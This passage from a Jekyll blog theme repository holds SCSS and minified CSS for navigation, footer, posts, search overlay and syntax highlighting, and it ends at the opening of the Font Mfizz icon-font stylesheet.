$base-line-height; 38 | 39 | // Gaps between nav items, but not on the last one 40 | &:not(:last-child) { 41 | margin-right: 20px; 42 | } 43 | } 44 | 45 | @include media-query($on-palm) { 46 | position: absolute; 47 | top: 9px; 48 | right: $spacing-unit / 2; 49 | background-color: $background-color; 50 | border: 1px solid $grey-color-light; 51 | border-radius: 5px; 52 | text-align: right; 53 | 54 | .menu-icon { 55 | display: block; 56 | float: right; 57 | width: 36px; 58 | height: 26px; 59 | line-height: 0; 60 | padding-top: 10px; 61 | text-align: center; 62 | 63 | > svg path { 64 | fill: $grey-color-dark; 65 | } 66 | } 67 | 68 | .trigger { 69 | clear: both; 70 | display: none; 71 | } 72 | 73 | &:hover .trigger { 74 | display: block; 75 | padding-bottom: 5px; 76 | } 77 | 78 | .page-link { 79 | display: block; 80 | padding: 5px 10px; 81 | 82 | &:not(:last-child) { 83 | margin-right: 0; 84 | } 85 | margin-left: 20px; 86 | } 87 | } 88 | } 89 | 90 | 91 | 92 | /** 93 | * Site footer 94 | */ 95 | .site-footer { 96 | border-top: 1px solid $grey-color-light; 97 | padding: $spacing-unit 0; 98 | } 99 | 100 | .footer-heading { 101 | font-size: 18px; 102 | margin-bottom: $spacing-unit / 2; 103 | } 104 | 105 | .contact-list, 106 | .social-media-list { 107 | list-style: none; 108 | margin-left: 0; 109 | } 110 | 111 | .footer-col-wrapper { 112 | font-size: 15px; 113 | color: $grey-color; 114 | margin-left: -$spacing-unit / 2; 115 | @extend %clearfix; 116 | } 117 | 118 | .footer-col { 119 | float: left; 120 | margin-bottom: $spacing-unit / 2; 121 | padding-left: $spacing-unit / 2; 122 | } 123 | 124 | .footer-col-1 { 125 | width: -webkit-calc(35% - (#{$spacing-unit} / 2)); 126 | width: calc(35% - (#{$spacing-unit} / 2)); 127 | } 128 | 129 | .footer-col-2 { 130 | width: -webkit-calc(20% - (#{$spacing-unit} / 2)); 131 | width: calc(20% - (#{$spacing-unit} / 2)); 132 | } 133 | 134 | .footer-col-3 { 135 | width: -webkit-calc(45% - (#{$spacing-unit} / 2)); 136 | width: calc(45% - (#{$spacing-unit} / 2)); 137 | } 138 | 139 | @include media-query($on-laptop) { 140 | .footer-col-1, 141 | .footer-col-2 { 142 | width: -webkit-calc(50% - (#{$spacing-unit} / 2)); 143 | width: calc(50% - (#{$spacing-unit} / 2)); 144 | } 145 | 146 | .footer-col-3 { 147 | width: -webkit-calc(100% - (#{$spacing-unit} / 2)); 148 | width: calc(100% - (#{$spacing-unit} / 2)); 149 | } 150 | } 151 | 152 | @include media-query($on-palm) { 153 | .footer-col { 154 | float: none; 155 | width: -webkit-calc(100% - (#{$spacing-unit} / 2)); 156 | width: calc(100% - (#{$spacing-unit} / 2)); 157 | } 158 | } 159 | 160 | 161 | 162 | /** 163 | * Page content 164 | */ 165 | .page-content { 166 | padding: $spacing-unit 0; 167 | } 168 | 169 | .page-heading { 170 | font-size: 20px; 171 | } 172 | 173 | .post-list { 174 | margin-left: 0; 175 | list-style: none; 176 | 177 | > li { 178 | margin-bottom: $spacing-unit; 179 | } 180 | } 181 | 182 | .post-meta { 183 | font-size: $small-font-size; 184 | color: $grey-color; 185 | } 186 | 187 | .post-link { 188 | display: block; 189 | font-size: 24px; 190 | } 191 | 192 | 193 | 194 | /** 195 | * Posts 196 | */ 197 | .post-header { 198 | margin-bottom: $spacing-unit; 199 | } 200 | 201 | .post-title { 202 | font-size: 42px; 203 | letter-spacing: -1px; 204 | line-height: 1; 205 | 206 | @include media-query($on-laptop) { 207 | font-size: 36px; 208 | } 209 | } 210 | 211 | .post-content { 212 | margin-bottom: $spacing-unit; 213 | 214 | h2 { 215 | font-size: 32px; 216 | 217 | @include media-query($on-laptop) { 218 | font-size: 28px; 219 | } 220 | } 221 | 222 | h3 { 223 | font-size: 26px; 224 | 225 | @include media-query($on-laptop) { 226 | font-size: 22px; 227 | } 228 | } 229 | 230 | h4 { 231 | font-size: 20px; 232 | 233 | @include media-query($on-laptop) { 234 | font-size: 18px; 235 | } 236 | } 237 | } 238 | -------------------------------------------------------------------------------- /_sass/minima/_syntax-highlighting.scss: -------------------------------------------------------------------------------- 1 | /** 2 | * Syntax highlighting styles 3 | */ 4 | .highlight { 5 | background: #fff; 6 | @extend %vertical-rhythm; 7 | 8 | .highlighter-rouge & { 9 | background: #eef; 10 | } 11 | 12 | .c { color: #998; font-style: italic } // Comment 13 | .err { color: #a61717; background-color: #e3d2d2 } // Error 14 | .k { font-weight: bold } // Keyword 15 | .o { font-weight: bold } // Operator 16 | .cm { color: #998; font-style: italic } // Comment.Multiline 17 | .cp { color: #999; font-weight: bold } // Comment.Preproc 18 | .c1 { color: #998; font-style: italic } // Comment.Single 19 | .cs { color: #999; font-weight: bold; font-style: italic } // Comment.Special 20 | .gd { color: #000; background-color: #fdd } // Generic.Deleted 21 | .gd .x { color: #000; background-color: #faa } // Generic.Deleted.Specific 22 | .ge { font-style: italic } // Generic.Emph 23 | .gr { color: #a00 } // Generic.Error 24 | .gh { color: #999 } // Generic.Heading 25 | .gi { color: #000; background-color: #dfd } // Generic.Inserted 26 | .gi .x { color: #000; background-color: #afa } // Generic.Inserted.Specific 27 | .go { color: #888 } // Generic.Output 28 | .gp { color: #555 } // Generic.Prompt 29 | .gs { font-weight: bold } // Generic.Strong 30 | .gu { color: #aaa } // Generic.Subheading 31 | .gt { color: #a00 } // Generic.Traceback 32 | .kc { font-weight: bold } // Keyword.Constant 33 | .kd { font-weight: bold } // Keyword.Declaration 34 | .kp { font-weight: bold } // Keyword.Pseudo 35 | .kr { font-weight: bold } // Keyword.Reserved 36 | .kt { color: #458; font-weight: bold } // Keyword.Type 37 | .m { color: #099 } // Literal.Number 38 | .s { color: #d14 } // Literal.String 39 | .na { color: #008080 } // Name.Attribute 40 | .nb { color: #0086B3 } // Name.Builtin 41 | .nc { color: #458; font-weight: bold } // Name.Class 42 | .no { color: #008080 } // Name.Constant 43 | .ni { color: #800080 } // Name.Entity 44 | .ne { color: #900; font-weight: bold } // Name.Exception 45 | .nf { color: #900; font-weight: bold } // Name.Function 46 | .nn { color: #555 } // Name.Namespace 47 | .nt { color: #000080 } // Name.Tag 48 | .nv { color: #008080 } // Name.Variable 49 | .ow { font-weight: bold } // Operator.Word 50 | .w { color: #bbb } // Text.Whitespace 51 | .mf { color: #099 } // Literal.Number.Float 52 | .mh { color: #099 } // Literal.Number.Hex 53 | .mi { color: #099 } // Literal.Number.Integer 54 | .mo { color: #099 } // Literal.Number.Oct 55 | .sb { color: #d14 } // Literal.String.Backtick 56 | .sc { color: #d14 } // Literal.String.Char 57 | .sd { color: #d14 } // Literal.String.Doc 58 | .s2 { color: #d14 } // Literal.String.Double 59 | .se { color: #d14 } // Literal.String.Escape 60 | .sh { color: #d14 } // Literal.String.Heredoc 61 | .si { color: #d14 } // Literal.String.Interpol 62 | .sx { color: #d14 } // Literal.String.Other 63 | .sr { color: #009926 } // Literal.String.Regex 64 | .s1 { color: #d14 } // Literal.String.Single 65 | .ss { color: #990073 } // Literal.String.Symbol 66 | .bp { color: #999 } // Name.Builtin.Pseudo 67 | .vc { color: #008080 } // Name.Variable.Class 68 | .vg { color: #008080 } // Name.Variable.Global 69 | .vi { color: #008080 } // Name.Variable.Instance 70 | .il { color: #099 } // Literal.Number.Integer.Long 71 | } 72 | -------------------------------------------------------------------------------- /assets/css/main.css: -------------------------------------------------------------------------------- 1 | html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,hgroup,main,nav,section,summary{display:block}audio,canvas,progress,video{display:inline-block;vertical-align:baseline}audio:not([controls]){display:none;height:0}[hidden],template{display:none}a{background:transparent}a:active,a:hover{outline:0}abbr[title]{border-bottom:1px dotted}b,strong{font-weight:bold}dfn{font-style:italic}h1{font-size:2em;margin:.67em 0}mark{background:#ff0;color:#000}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sup{top:-.5em}sub{bottom:-.25em}img{border:0}svg:not(:root){overflow:hidden}figure{margin:1em 40px}hr{box-sizing:content-box;height:0}pre{overflow:auto}code,kbd,pre,samp{font-family:monospace,monospace;font-size:1em}button,input,optgroup,select,textarea{color:inherit;font:inherit;margin:0}button{overflow:visible}button,select{text-transform:none}button,html input[type="button"],input[type="reset"],input[type="submit"]{-webkit-appearance:button;cursor:pointer}button[disabled],html input[disabled]{cursor:default}button::-moz-focus-inner,input::-moz-focus-inner{border:0;padding:0}input{line-height:normal}input[type="checkbox"],input[type="radio"]{box-sizing:border-box;padding:0}input[type="number"]::-webkit-inner-spin-button,input[type="number"]::-webkit-outer-spin-button{height:auto}input[type="search"]{-webkit-appearance:textfield;box-sizing:content-box}input[type="search"]::-webkit-search-cancel-button,input[type="search"]::-webkit-search-decoration{-webkit-appearance:none}fieldset{border:1px solid #c0c0c0;margin:0 2px;padding:.35em .625em .75em}legend{border:0;padding:0}textarea{overflow:auto}optgroup{font-weight:bold}table{border-collapse:collapse;border-spacing:0}td,th{padding:0}a{-webkit-tap-highlight-color:rgba(0,0,0,0)}@font-face{font-family:'Open Sans';font-style:normal;font-weight:300;src:local('Open Sans Light'),local('OpenSans-Light'),url("https://fonts.gstatic.com/s/opensans/v10/DXI1ORHCpsQm3Vp6mXoaTRampu5_7CjHW5spxoeN3Vs.woff2") format('woff2')}@font-face{font-family:'Open Sans';font-style:normal;font-weight:800;src:local('Open Sans Extrabold'),local('OpenSans-Extrabold'),url("https://fonts.gstatic.com/s/opensans/v10/EInbV5DfGHOiMmvb1Xr-hiYtBUPDK3WL7KRKS_3q7OE.woff2") format('woff2')}h1,h2,h3,h4{font-family:'Open Sans',sans-serif;font-weight:800;font-style:normal}@-webkit-keyframes animateGradient{0%{background-position:100% 90%}99%{background-position:0% 90%}100%{background-position:0% 90%;background-size:200% 7px}}@keyframes animateGradient{0%{background-position:100% 90%}99%{background-position:0% 90%}100%{background-position:0% 90%;background-size:200% 7px}}.icons-home{text-align:center;}.icons-home a{display:inline-block;padding:.938rem;margin:.125rem;border-radius:50%;border:.125rem solid #fff;line-height:0;transition:all .7s;}.icons-home a .icon{fill:#fff;width:18px;height:18px;}@media only screen and (min-width:37.5rem){.icons-home a .icon{width:30px;height:30px}}.icons-home a:hover{background:#fff;}.icons-home a:hover .icon{fill:#93a1a1}.down{position:absolute;bottom:50px;width:100%;display:block;text-align:center;}.down .icon{position:absolute;-webkit-transform-style:preserve-3d;transform-style:preserve-3d;top:50%;left:50%;-webkit-transform:translate(-50%,-50%);transform:translate(-50%,-50%);width:100px;height:100px;fill:#fff;-webkit-animation:pulse 1.3s infinite;animation:pulse 1.3s infinite}.icon-arrow-menu{vertical-align:bottom;width:18px;height:15px}*,*:before,*:after{box-sizing:border-box}body{left:0;right:0;margin:auto}a,aside,.overlay,body{transition:all .25s ease}a.slideButton,.dosearch{position:absolute;display:block;width:40px;height:40px;top:10px;z-index:31}.slideButton{left:10px}.dosearch{right:10px;background:#74479c;border-radius:.188rem;padding:.125rem .188rem}.icon-menu{cursor:pointer;padding:.313rem;border-radius:.188rem;background:#74479c;width:2.5rem;height:2.5rem;fill:#fff}.icon-search{width:2.188rem;height:2.188rem}.overlay{cursor:pointer}#close{display:none}body > aside{padding:2.688rem;width:21.688rem;height:100%;position:fixed;background-color:#f8f8f8;overflow-y:auto;top:0;}body > aside a{text-decoration:none}body > aside h1{text-transform:uppercase;font-size:1.625rem;display:table;}body > aside h1 > *{display:table-cell;vertical-align:middle}body > aside h1 > object{margin-right:.625rem}body > aside p.license{position:fixed;bottom:2.5rem;color:#ababab;width:12.5rem;}body > aside p.license .creativecommons{display:block;margin-bottom:1.25rem}body > aside p.license i.fa-heart{color:#ee7373}body > aside p.license a{color:#ababab;text-decoration:none;}body > aside p.license a:hover{color:#74479c}body > aside ul.languages{list-style:none;margin-left:0;padding-left:0;margin-top:2.5rem;}body > aside ul.languages h2{color:#9a9a9a;font-size:.875rem;text-transform:uppercase;font-weight:bold}body > aside ul.languages li{line-height:1.875rem}body > aside ul.languages a{text-decoration:none;color:#ababab;}body > aside ul.languages a.selected{color:#333}body > aside ul.languages li.contribute{margin-top:.625rem;}body > aside ul.languages li.contribute a{color:#74479c}a.slideButton.slide{pointer-events:none}.overlay{position:fixed;width:100%;height:100%;bottom:0;left:0;pointer-events:none;background:transparent;z-index:30;}.overlay.slide{pointer-events:auto;bottom:162px;background:rgba(0,0,0,0.6)}input[type="search"]{-ms-box-sizing:content-box;box-sizing:content-box;-webkit-appearance:textfield}input[type="search"]::-webkit-search-decoration,input[type="search"]::-webkit-search-cancel-button{-webkit-appearance:none}.search-wrapper{-webkit-transform:translateY(-400px);transform:translateY(-400px);z-index:9999;}.search-wrapper.active{-webkit-transform:translateY(0);transform:translateY(0)}.search-form{position:relative;top:0;-webkit-transform:translateX(-200px);transform:translateX(-200px);z-index:9999;width:100%;-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";filter:alpha(opacity=0);opacity:0;transition:all 200ms 100ms cubic-bezier(0,.6,.4,1);}.search-form h4{margin:.625rem 0}.search-form .search-field{width:100%;font-family:'Open Sans',sans-serif;font-weight:300;font-style:normal;font-size:1.625rem;color:#fff;background-color:transparent;border:0;border-bottom:1px solid #fff;border-radius:0;box-shadow:none;background-clip:padding-box;-webkit-appearance:none;}.search-form .search-field:focus{outline:0;box-shadow:none}.search-form.active{top:0;-webkit-transform:translateX(0);transform:translateX(0);-ms-filter:none;-webkit-filter:none;filter:none;opacity:1}.search-form.hidden{display:none}.search-form .icon-remove-sign{position:absolute;top:0;right:0;z-index:1;display:block;fill:#fff;width:30px;height:30px;text-align:center;cursor:pointer}.search-form::-webkit-input-placeholder{font-size:1.625rem}.search-form .search-field::-webkit-search-decoration,.search-form .search-field::-webkit-search-cancel-button,.search-form .search-field::-webkit-search-results-button,.search-form .search-field::-webkit-search-results-decoration{display:none}.search-form .search-list{position:absolute;width:100%;font-family:'Open Sans',sans-serif;font-weight:300;font-style:normal}.search-form h4,.search-form li,.search-form p,.search-form a,.search-form a:hover{color:#fff}body.search-overlay{overflow:hidden;}body.search-overlay:after{position:absolute;top:0;left:0;z-index:9001;width:100%;height:100%;min-height:100%;background-color:rgba(0,0,0,0.6);content:'';}@media only screen and (max-width:37.5rem){body.search-overlay:after{background-color:#93a1a1}}.search-wrapper{position:absolute;top:50px;width:100%;padding-right:10%;padding-left:10%;}.search-wrapper *zoom 1:after,.search-wrapper *zoom 1:before{display:table;line-height:0;content:""}.search-wrapper *zoom 1:after{clear:both}.search-wrapper:before,.search-wrapper:after{display:table;line-height:0;content:""}.search-list{padding:0;margin:0;list-style-type:none;}.search-list .entry-date{float:right;display:none;font-size:14px;text-transform:uppercase}.search-list a{text-decoration:none;display:block;padding:.938rem 0;width:100%;border-bottom:1px solid #fff;}.search-list a:hover{color:#b3b3b3;border-bottom:1px solid #b3b3b3}@media only screen and (min-width:48em){.search-wrapper{top:100px}.search-list .entry-date{display:inline}}.tags{margin-top:1.875rem;}.tags a{font-size:1.25rem;color:#fff;display:inline-block;border:1px solid #fff;border-radius:.313rem;padding:.25rem .625rem;margin-right:.125rem;margin-bottom:.5rem;text-decoration:none;font-family:'Open Sans',sans-serif;font-weight:300;font-style:normal;}.tags a:hover{background-color:#485252;border:1px solid #485252}.tags a.selected{background-color:#485252;border:1px solid #485252}.img-rounded{border-radius:50%}.aboutme .recent{list-style:none}.aboutme .post-title:before{content:""}.aboutme h2:hover{background-color:#9eaaaa}.aboutme li h3{font-size:1.25rem;margin-bottom:7px;position:relative;}.aboutme li h3:before{content:"|>";font-size:1.25rem;color:#000;position:absolute;left:-10px;transition:all .2s}.aboutme li h3:hover:before{-webkit-transform:translateX(-10px);transform:translateX(-10px)}html,body{height:100%;font-family:sans-serif;color:#333}main,.header-post{background:#93a1a1;height:100%}main{margin-left:25rem;background-color:#fff;padding-top:1.25rem;padding-left:2.5rem;}main .content{padding:20px}main li{margin:0;list-style-type:none}main .person img{width:130px;height:130px;border-radius:100%;margin-bottom:80px}main ul.recent{padding-left:0;}main ul.recent h2{color:#74479c;font-weight:bold;text-transform:uppercase;font-size:1rem;margin-bottom:1.875rem}main ul.recent li a{text-decoration:none;color:#333;}main ul.recent li a:hover h4{color:#74479c;letter-spacing:.031rem}main ul.recent li a h4{font-weight:normal}main ul.recent li a i{margin-right:.625rem}main .site-title{font-size:1.875rem;line-height:1;margin-top:-80px;display:block;letter-spacing:9px;}@media only screen and (min-width:37.5rem){main .site-title{letter-spacing:16px;margin-bottom:0;font-size:1.25rem}}main .site-description{font-size:1.25rem;display:block;margin:1.875rem 0;}@media only screen and (min-width:37.5rem){main .site-description{font-size:2.5rem}}main h3.heroe{color:#777088;max-width:37.5rem;font-size:1.875rem;font-weight:300;margin-bottom:3.75rem}.rectangle{display:block;width:207px;border-radius:5px;position:absolute;-webkit-transform-style:preserve-3d;transform-style:preserve-3d;left:50%;-webkit-transform:translateX(-50%);transform:translateX(-50%);background-color:#74479c;text-align:center;color:#fff;font-weight:bold}.header-post{height:62px;background:transparent;}.header-post #open{position:fixed;background:transparent}.header-post p{margin:0;padding-top:23px;text-align:center;color:#fff}.page_posts #search{background:transparent;}.page_posts #search svg{background-color:transparent}.post-item{text-align:left;padding:.313rem 1.25rem;position:relative;}.post-item .content{*zoom:1;}.post-item .content:before,.post-item .content:after{content:'';display:table}.post-item .content:after{clear:both}@media only screen and (max-width:37.5rem){.post-item .content{text-align:center;display:block;clear:both;float:none;width:100%;margin-left:auto;margin-right:auto}.post-item .content:first-child{margin-left:auto}.post-item .content:last-child{margin-right:auto}}.post-item .content a{text-decoration:none;border:none}@media only screen and (min-width:37.5rem){.post-item .content a{*zoom:1;float:left;clear:none;text-align:inherit;width:69.1%;margin-left:0%;margin-right:3%}.post-item .content a:before,.post-item .content a:after{content:'';display:table}.post-item .content a:after{clear:both}.post-item .content a:last-child{margin-right:0%}}.post-item .content .date{color:#93a1a1}.post-item .content .post-title{color:#c7b288;position:relative;padding:0;font-size:1rem;margin:0;text-align:center;}.post-item .content .post-title.selected{background:#93a1a1}.post-item .content .post-title:hover{background-color:#9eaaaa}@media only screen and (min-width:37.5rem){.post-item .content .post-title{text-align:left;margin-left:-.625rem;display:initial;font-size:1.063rem;text-decoration:none}}.post{margin-left:25rem;margin-right:1.875rem;}@media only screen and (min-width:90.625rem){.post{margin-left:26.688rem;max-width:48.75rem}}.post .post-title{font-size:1.875rem;margin-top:0;margin-bottom:0}.post .time{text-align:center;margin-top:30px;font-family:'Open Sans',sans-serif;font-weight:300;font-style:normal}.post .music-read{text-align:center}.post-content{padding:1.875rem 0;}.post-content img{max-width:100%;margin:1.875rem auto;display:block}.post-content p,.post-content h1,.post-content h2,.post-content h3,.post-content h4,.post-content ul,.post-content ol,.post-content .tags,.post-content iframe{max-width:75rem;padding:0;margin:0 auto 1.875rem;font-family:'Open Sans',sans-serif;font-weight:300;font-style:normal;font-size:1.125rem;line-height:2;letter-spacing:.01rem;}@media only screen and (min-width:37.5rem){.post-content p,.post-content h1,.post-content h2,.post-content h3,.post-content h4,.post-content ul,.post-content ol,.post-content .tags,.post-content iframe{font-size:1.25rem}}.post-content p,.post-content li{color:#333;}.post-content p code,.post-content li code{color:#615576}.post-content a{font-family:'Open Sans',sans-serif;font-weight:300;font-style:normal;color:#93a1a1;text-decoration:none;border-bottom:2px solid #93a1a1;}.post-content a:hover{color:#74479c;border-bottom-color:#74479c}.post-content iframe{margin-top:1.875rem;width:100%}.post-content #twitter-widget-0{margin:auto !important}.post-content h1,.post-content h2,.post-content h3,.post-content h4,.post-content h5{font-family:'Open Sans',sans-serif;font-weight:800;font-style:normal}.post-content h1{font-size:1.875rem;line-height:1.4;font-weight:normal;color:#74479c;margin-top:3.75rem}.post-content h2{font-size:1.625rem;line-height:1.4;font-weight:bold}.post-content h3{font-size:1.5rem;line-height:1.4}.post-content ul,.post-content ol{padding-left:2.5rem}.post-content ul.post-list{padding:0;}@media only screen and (max-width:37.5rem){.post-content ul.post-list{padding:0 1.25rem}}.post-content blockquote{border-left:.313rem solid #93a1a1;padding:0 1.25rem;margin:3.125rem 1.25rem;}.post-content blockquote p{color:rgba(0,0,0,0.6);margin:0;}@media only screen and (max-width:37.5rem){.post-content blockquote p{font-size:1.125rem;line-height:1.5;padding:0}}.post-content hr{*zoom:1;width:auto;max-width:47.5rem;float:none;display:block;margin-right:auto;margin-left:auto;padding-left:0;padding-right:0;border:1px solid #ababab;margin:50px auto}.post-content hr:before,.post-content hr:after{content:'';display:table}.post-content hr:after{clear:both}.post-content .about_perfil{width:200px}.post-content pre{padding:1.25rem}.post-content .highlighter-rouge{margin-bottom:1.875rem}.post-content .asciicast{padding:0 1.25rem !important;margin:0 auto 1.875rem !important}.post-content iframe{padding:0 1.25rem !important;margin:0 auto 1.875rem !important}.share{border-top:1px solid #ababab;padding-top:1.25rem;width:100%;margin-bottom:3.125rem;}.share > div{display:table;}.share > div > *{display:table-cell;vertical-align:middle}.share h3{color:#9a9a9a;font-size:1.25rem;text-transform:uppercase;font-weight:normal;padding-right:1.25rem}.share svg{margin:.938rem;width:35px;height:35px}.share a{text-decoration:none;}.share a:hover svg{fill:#93a1a1}table{margin:3.125rem auto;}@media only screen and (max-width:37.5rem){table{display:none}}table th,table td{border:.125rem solid #ccc;padding:.313rem}.tag-title{font-family:'Open Sans',sans-serif;font-weight:300;font-style:normal;font-size:2.25rem;margin-top:3.75rem;*zoom:1;width:auto;max-width:50rem;float:none;display:block;margin-right:auto;margin-left:auto;padding-left:0;padding-right:0;}.tag-title:before,.tag-title:after{content:'';display:table}.tag-title:after{clear:both}@media only screen and (max-width:37.5rem){.tag-title{font-size:1.75rem;margin-top:1.25rem;padding:0 1.25rem}}.post-list{list-style:none;margin:1.563rem auto;}@media only screen and (max-width:37.5rem){.post-list{padding:0 1.25rem}}.post-list a{display:block;border-bottom:1px solid #9a9a9a;padding:.625rem 0;text-decoration:none;transition:all .5s;}.post-list a:hover{color:#485252;border-bottom:1px solid #485252}.post-list .entry-date{float:right;}@media only screen and (max-width:37.5rem){.post-list .entry-date{display:none}}.page{margin-left:25rem;margin-right:1.875rem;}@media only screen and (min-width:90.625rem){.page{margin-left:26.688rem;max-width:48.75rem}}.page h1:before,.page h2:before,.page h3:before{color:#93a1a1;font-weight:300;margin-right:10px}.page h1{margin:0;font-size:1.875rem;}@media only screen and (min-width:37.5rem){.page h1{font-size:4.375rem}}.page h1:before{color:#93a1a1;font-size:2.5rem}.page .page-title{text-align:center;margin-bottom:1.25rem}.page .page-title:before{content:""}.page .time{text-align:center;margin-top:30px;font-family:'Open Sans',sans-serif;font-weight:300;font-style:normal}.page .music-read{text-align:center}.page-content{padding:1rem 0;}.page-content img{max-width:100%;margin:1.875rem auto;display:block}.page-content p,.page-content h1,.page-content h2,.page-content h3,.page-content h4,.page-content ul,.page-content ol,.page-content .tags,.page-content iframe{max-width:75rem;padding:0 1.25rem;margin:0 auto 1.875rem;font-family:'Open Sans',sans-serif;font-weight:300;font-style:normal;font-size:1.125rem;line-height:2;letter-spacing:.01rem;}@media only screen and (min-width:37.5rem){.page-content p,.page-content h1,.page-content h2,.page-content h3,.page-content h4,.page-content ul,.page-content ol,.page-content .tags,.page-content iframe{font-size:1.25rem}}.page-content h1,.page-content h2,.page-content h3,.page-content h4,.page-content h5{font-family:'Open Sans',sans-serif;font-weight:800;font-style:normal}.page-content h1{font-size:1.875rem;line-height:1.4;font-weight:normal;color:#74479c}.page-content h2{font-size:1.625rem;line-height:1.4;font-weight:bold}.page-content h3{font-size:1.5rem;line-height:1.4}.page-content p,.page-content li{color:#333;}.page-content p code,.page-content li code{color:#615576}.page-content a{font-family:'Open Sans',sans-serif;font-weight:300;font-style:normal;color:#93a1a1;text-decoration:none;border-bottom:2px solid #93a1a1;}.page-content a:hover{background-color:#9eaaaa}.page-content iframe{margin-top:1.875rem;width:100%}.page-content #twitter-widget-0{margin:auto !important}.page-content h1,.page-content h2,.page-content h3,.page-content h4,.page-content h5{font-family:'Open Sans',sans-serif;font-weight:800;font-style:normal}.page-content h1{font-size:1.875rem;line-height:1.4;}@media only screen and (min-width:37.5rem){.page-content h1{font-size:2.813rem}}.page-content h2{font-size:1.375rem;line-height:1.4;}.page-content h2:before{content:'##';font-size:1.563rem}@media only screen and (min-width:37.5rem){.page-content h2{font-size:2.188rem}}.page-content h3{font-size:1.125rem;line-height:1.4;}@media only screen and (min-width:37.5rem){.page-content h3{font-size:1.563rem}}.page-content ul,.page-content ol{padding-left:2.5rem}.page-content ul.page-list{padding:0;}@media only screen and (max-width:37.5rem){.page-content ul.page-list{padding:0 1.25rem}}.page-content blockquote{*zoom:1;width:auto;max-width:45.625rem;float:none;display:block;margin-right:auto;margin-left:auto;padding-left:0;padding-right:0;border-left:.313rem solid #93a1a1;padding:0 1.875rem;margin:3.125rem auto;}.page-content blockquote:before,.page-content blockquote:after{content:'';display:table}.page-content blockquote:after{clear:both}@media only screen and (max-width:37.5rem){.page-content blockquote{width:70%}}.page-content blockquote p{color:rgba(0,0,0,0.6);margin:0;}@media only screen and (max-width:37.5rem){.page-content blockquote p{font-size:1.125rem;line-height:1.5;padding:0}}.page-content hr{*zoom:1;width:auto;max-width:47.5rem;float:none;display:block;margin-right:auto;margin-left:auto;padding-left:0;padding-right:0;border:1px solid #ababab;margin:50px auto}.page-content hr:before,.page-content hr:after{content:'';display:table}.page-content hr:after{clear:both}.page-content .about_perfil{width:200px}.page-content pre{padding:1.25rem}.page-content .asciicast{padding:1.25rem !important}pre{width:100%;padding:1.25rem 0;color:#fff;margin:1.875rem 0;font-size:.875rem;}@media only screen and (min-width:37.5rem){pre{font-size:1rem;padding:1.25rem 0;margin:1.25rem 0}}@media only screen and (max-width:37.5rem){pre code{overflow-x:scroll}}pre span{line-height:1.5rem;font-family:'Monaco','Consolas','Menlo',monospace}.highlight{white-space:pre;overflow:auto;word-wrap:normal;border-radius:0;padding:20px;background-color:#073642;color:#c1c2c3;margin:0;margin-bottom:30px}.highlight .hll{background-color:#ffc}.highlight .gd{color:#2e3436;background-color:#0e1416}.highlight .gr{color:#eeeeec;background-color:#c00}.highlight .gi{color:#babdb6;background-color:#1f2b2d}.highlight .go{color:#2c3032;background-color:#2c3032}.highlight .kt{color:#e3e7df}.highlight .ni{color:#888a85}.highlight .c,.highlight .cm,.highlight .c1,.highlight .cs{color:#8d9684}.highlight .err,.highlight .g,.highlight .l,.highlight .n,.highlight .x,.highlight .p,.highlight .ge,.highlight .gp,.highlight .gs,.highlight .gt,.highlight .ld,.highlight .s,.highlight .nc,.highlight .nd,.highlight .ne,.highlight .nl,.highlight .nn,.highlight .nx,.highlight .py,.highlight .ow,.highlight .w,.highlight .sb,.highlight .sc,.highlight .sd,.highlight .s2,.highlight .se,.highlight .sh,.highlight .si,.highlight .sx,.highlight .sr,.highlight .s1,.highlight .ss,.highlight .bp{color:#c1c2c3}.highlight .k,.highlight .kc,.highlight .kd,.highlight .kn,.highlight .kp,.highlight .kr,.highlight .nt{color:#729fcf}.highlight .cp,.highlight .gh,.highlight .gu,.highlight .na,.highlight .nf{color:#e9a94b}.highlight .m,.highlight .nb,.highlight .no,.highlight .mf,.highlight .mh,.highlight .mi,.highlight .mo,.highlight .il{color:#8ae234}.highlight .o{color:#989daa}.highlight .nv,.highlight .vc,.highlight .vg,.highlight .vi{color:#fff}.author{background:#ababab;display:table;width:100%;padding:2.5rem 0;margin:2.5rem 0;}@media only screen and (min-width:37.5rem){.author{padding:3.125rem 0}}.author .details{margin:auto;max-width:50rem;padding:0 1.25rem;}@media only screen and (max-width:37.5rem){.author .details{text-align:center}}.author img{border-radius:50%;display:block;margin:auto;}@media only screen and (min-width:37.5rem){.author img{float:left;margin-right:3.125rem}}.author .def{color:#333;font-size:1.125rem;font-family:'Open Sans',sans-serif;font-weight:300;font-style:normal;margin:.625rem;}@media only screen and (min-width:37.5rem){.author .def{margin:0;padding-top:1.563rem}}.author .name{margin:0;}.author .name a{font-family:'Open Sans',sans-serif;font-weight:800;font-style:normal;text-decoration:none;color:#000;font-size:1.875rem;}.author .name a:hover{color:#93a1a1}@media only screen and (min-width:37.5rem){.author .name a{font-size:2.813rem}}.author .desc{font-family:'Open Sans',sans-serif;font-weight:300;font-style:normal;margin:.625rem;font-size:1rem;}@media only screen and (min-width:37.5rem){.author .desc{font-size:1.25rem}}.author .email{text-decoration:none;color:#93a1a1}.comments{*zoom:1;width:auto;max-width:50rem;float:none;display:block;margin-right:auto;margin-left:auto;padding-left:0;padding-right:0;padding:0 1.25rem;}.comments:before,.comments:after{content:'';display:table}.comments:after{clear:both}.comments h3{margin:0 0 1.875rem;font-size:1.875rem}footer{background:#073642;padding:1.563rem 0;margin-top:100px;clear:both;color:#fff;}footer p,footer a{font-family:'Open Sans',sans-serif;font-weight:300;font-style:normal;color:#fff;text-align:center;margin:0} -------------------------------------------------------------------------------- /assets/font-mfizz.css: -------------------------------------------------------------------------------- 1 | /*! 2 | * Font Mfizz 2.4.1 3 | * Copyright 2013-2017 Fizzed, Inc. 4 | * MIT License 5 | * 6 | * Project: http://fizzed.com/oss/font-mfizz 7 | * 8 | * The font designed for technology and software geeks representing programming 9 | * languages, operating systems, software engineering, and technology. 10 | * 11 | * Fizzed, Inc. 12 | * Web: http://fizzed.com/ 13 | * Twitter: http://twitter.com/fizzed_inc 14 | */ 15 | 16 | @font-face { 17 | font-family: "FontMfizz"; 18 | src: url("./font-mfizz.eot"); 19 | src: url("./font-mfizz.eot?#iefix") format("embedded-opentype"), 20 | url("./font-mfizz.woff") format("woff"), 21 | url("./font-mfizz.ttf") format("truetype"), 22 | 